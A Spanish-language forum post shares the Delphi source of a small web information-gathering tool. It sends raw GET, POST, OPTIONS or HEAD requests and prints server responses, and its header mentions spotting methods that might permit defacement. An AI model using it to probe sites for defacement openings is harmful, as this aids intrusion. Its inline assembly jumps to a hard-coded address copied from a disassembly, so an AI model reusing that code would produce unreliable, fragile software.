Después de ausentarme un gran tiempo por trabajo y viajes, hoy que tuve un tiempo libre y como estaba aburrido, se me ocurrió hace una pequeña herramienta de gathering, debo decir que faltan agregarles muchas características y otras deben ser quitadas del código, estoy consiente que queda mucho por optimizar y bueno... al fin y al acabo nunca es suficiente.

También pensé que, en cuando tenga tiempo libre, programar un sniffer ¿Les gustaría?.

Y sin mas rodeos el código (Compilado en Delphi 7), también adjuntare unas imágenes con ciertos detalles de su interés:
Código (pascal) [Seleccionar]

program Gathor;

(*********************************************)
(* Software : Gathor 0.1                     *)
(* Autor    : WarZone                        *)
(* Fecha    : 1/8/13                         *)
(*********************************************)
(* Explicacion:                              *)
(* Un simple gathering de informacion web    *)
(* el cual tiene algunas caracteristicas     *)
(* como leer el source de la pagina(index),  *)
(* ver el servidor en que se esta corriendo, *)
(* fecha, version del protocolo, contenido,  *)
(* opciones de metodos usados <posiblemente  *)
(* permitiendo un Defacement>, etc..         *)
(*********************************************)
(* Parametros + Ejemplo :                    *)
(* <sitio_web> <puerto> <opcion>             *)
(* www.google.com 80 get_proto_0             *)
(*********************************************)
(*    -Opciones de uso / Caracteristicas-    *)
(*                                           *)
(* Los siguientes comandos permiten hacer    *)
(* peticiones HTTP por distintas opciones,   *)
(* GET, POST, HEAD, ETC... y version del     *)
(* protocolo respectivamente 1.0 o 1.1       *)
(*                                           *)
(* get_proto_0 -> metodo GET por HTTP/1.0    *)
(* get_proto_1 -> GET por HTTP/1.1           *)
(* post_proto_0 -> POST por HTTP/1.0         *)
(* post_proto_1 -> POST por HTTP/1.1         *)
(* options_proto_0 -> OPTIONS por HTTP/1.0   *)
(* options_proto_1 -> OPTIONS por HTTP/1.1   *)
(* head_proto_0 -> HEAD por HTTP/1.0         *)
(* head_proto_1 -> HEAD por HTTP/1.1         *)
(*********************************************)

{$APPTYPE CONSOLE}

uses
  SysUtils,
  Windows,
  WinSock;

const
  { Config }
  BL         = #13#10;

  { HTTP Methods }
  POST        = 'POST';
  GET         = 'GET';
  OPTIONS     = 'OPTIONS';
  HEAD        = 'HEAD';

  { Version }
  HTTP0       = ' HTTP/1.0';
  HTTP1       = ' HTTP/1.1';
  STP         = ' /';

  { Octetos }
  ZERO        = $00000000;
  BSIZE       = $00001024;
  BUFFSIZE    = $000000FF;
  BUFFDATA    = $00001000;
  INADDRSIZE  = $0000000A;

var
  WSData      : WsaData;
  TcpSocket   : tSocket;
  sAddr       : sockaddr_in;
  pIp         : string;
  I           : Integer;

  BuffName    : array [0..BUFFSIZE] of AnsiChar;
  sData       : array [0..BUFFDATA] of Char;

(* Reporte de desensamblado en GetIp
00408450  /$ 55             PUSH EBP            <-----| Callback IP |
00408451  |. 8BEC           MOV EBP,ESP
00408453  |. 6A 00          PUSH 0
00408455  |. 53             PUSH EBX
00408456  |. 33C0           XOR EAX,EAX
00408458  |. 55             PUSH EBP
00408459  |. 68 BA844000    PUSH Project2.004084BA
0040845E  |. 64:FF30        PUSH DWORD PTR FS:[EAX]
00408461  |. 64:8920        MOV DWORD PTR FS:[EAX],ESP
00408464  |. 68 9C374100    PUSH Project2.0041379C                   ; /pWSAData = Project2.0041379C
00408469  |. 6A 01          PUSH 1                                   ; |RequestedVersion = 1 (1.0.)
0040846B  |. E8 98FFFFFF    CALL <JMP.&wsock32.WSAStartup>           ; \WSAStartup
00408470  |. 90             NOP
00408471  |. 90             NOP
00408472  |. 90             NOP
00408473  |. 8D55 FC        LEA EDX,DWORD PTR SS:[EBP-4]
00408476  |. B8 01000000    MOV EAX,1
0040847B  |. E8 88A3FFFF    CALL Project2.00402808
00408480  |. 8B45 FC        MOV EAX,DWORD PTR SS:[EBP-4]
00408483  |. E8 A4BBFFFF    CALL Project2.0040402C
00408488  |. 50             PUSH EAX                                 ; /Name
00408489  |. E8 72FFFFFF    CALL <JMP.&wsock32.gethostbyname>        ; \gethostbyname
0040848E  |. 8B40 0C        MOV EAX,DWORD PTR DS:[EAX+C]
00408491  |. 33D2           XOR EDX,EDX
00408493  |. 8B0490         MOV EAX,DWORD PTR DS:[EAX+EDX*4]
00408496  |. FF30           PUSH DWORD PTR DS:[EAX]
00408498  |. E8 3BFFFFFF    CALL <JMP.&wsock32.inet_ntoa>
0040849D  |. 8BD8           MOV EBX,EAX
0040849F  |. E8 6CFFFFFF    CALL <JMP.&wsock32.WSACleanup>           ; [WSACleanup
004084A4  |. 33C0           XOR EAX,EAX
004084A6  |. 5A             POP EDX
004084A7  |. 59             POP ECX
004084A8  |. 59             POP ECX
004084A9  |. 64:8910        MOV DWORD PTR FS:[EAX],EDX
004084AC  |. 68 C1844000    PUSH Project2.004084C1
004084B1  |> 8D45 FC        LEA EAX,DWORD PTR SS:[EBP-4]
004084B4  |. E8 83B7FFFF    CALL Project2.00403C3C
004084B9  \. C3             RETN



*)
function
  GetIP(): PChar;
type
  aIn_addr      = array [0..INADDRSIZE] of pInAddr;
  pIn_addr      = ^aIn_addr;
var
  Hostent     : PHostEnt;
  HostAddr    : pIn_addr;
  HostPData   : PChar;
  Int         : Integer;
begin
  WSAStartup($1, WSData);
  asm
    NOP
    NOP
    NOP
  end;
  Hostent:= GetHostBYName( PChar(ParamStr(1)) );
  HostAddr:= pIn_addr(Hostent^.h_addr_list);
  Int:= 0;
  Result:= inet_ntoa(HostAddr^[Int]^);
  WSACleanUp;
end;

function
  CALLBACK__getIp: string;
asm
  @@StartUp:
    XOR EAX,EAX
    XOR ECX,ECX
    XOR EDX,EDX
    MOV DWORD PTR FS:[EAX],ESP
    LEA EDX,DWORD PTR SS:[EBP-4]
    MOV EAX,1
    MOV EAX,DWORD PTR SS:[EBP-4]
    MOV EAX,DWORD PTR DS:[EAX+$C]
    XOR EDX,EDX
    MOV EDX,EBX
    XOR EAX,EAX
    MOV DWORD PTR FS:[EAX],EDX
    LEA EAX,DWORD PTR SS:[EBP-4]
    NOP
    NOP

    PUSH Pointer($00408450) //Pointer($00408450)
    POP EDX
    CALL EDX                 (* CALLBACK DE LA FUNCION *)
end;

begin
  if (ParamCount<=1) then
    WriteLn('Parametros usados: <sitio_web> <puerto> <opcion>'+BL);
     
  WSAStartUp($1, WSData);
  TcpSocket:= Socket (AF_INET, SOCK_STREAM, ZERO);
 
  sAddr.sin_family:= af_inet;
  sAddr.sin_addr.s_addr:= inet_addr(GetIP()); //INET_ADDR('173.194.42.209');
  sAddr.sin_port:= htons(StrToInt(ParamStr(2))); //htons(Integer(ParamStr(2)));

  (* Opcion por default *)
  if (ParamStr(3)<' ') then
    sData:= 'OPTIONS /index.html HTTP/1.0'+BL+BL;

  (* Gathering automatico *)
  if (ParamStr(3)>' ') then
  begin
    if (ParamStr(3)='get_proto_0') then
      sData:= GET+STP+HTTP0+BL+BL;
    if (ParamStr(3)='get_proto_1') then
      sData:= GET+STP+HTTP1+BL+BL;
    if (ParamStr(3)='post_proto_0') then
      sData:= POST+STP+HTTP0+BL+BL;
    if (ParamStr(3)='post_proto_1') then
      sData:= POST+STP+HTTP1+BL+BL;
    if (ParamStr(3)='options_proto_0') then
      sData:= OPTIONS+STP+HTTP0+BL+BL;
    if (ParamStr(3)='options_proto_1') then
      sData:= OPTIONS+STP+HTTP1+BL+BL;
    if (ParamStr(3)='head_proto_0') then
      sData:= HEAD+STP+HTTP0+BL+BL;
    if (ParamStr(3)='head_proto_1') then
      sData:= HEAD+STP+HTTP1+BL+BL;
  end;
  Try
    if (CALLBACK__getIp<='') then
    begin
      WriteLn('Conectando al servidor: ', GetIP); end
    else begin WriteLn('Conectando al servidor: ', CALLBACK__getIp); end;

    Winsock.Connect(TcpSocket, sAddr, sizeof(sAddr));
    WriteLn('Parametro: ', sData);
    Winsock.Send(TcpSocket, sData, StrLen(sData), MSG_DONTROUTE);
    Winsock.Recv(TcpSocket, BuffName, BSIZE, SD_RECEIVE);
    WriteLn(BuffName);
  Finally
    Shutdown(TcpSocket, SD_BOTH);
    CloseSocket(TcpSocket);
    WSACleanUp();
  end;
end.


Gathor con metódo OPTIONS:


Gathor con metódo POST:


Gathor con metódo GET:


Gathor con metódo HEAD:



PD: Lo del stack y el heap lo agrego por que aun que a muchos no les interese que sea una aplicación grande o pequeña, es un detalle que siempre tengo presente.

Y como ven el tamaño del stack no fue tan drástico (como en otras comparaciones que hice) y me olvide de tomar fotos  >:D
Claro que es un aplicación pequeña...




Y el heap por lo menos no se disperso tanto como pensaba...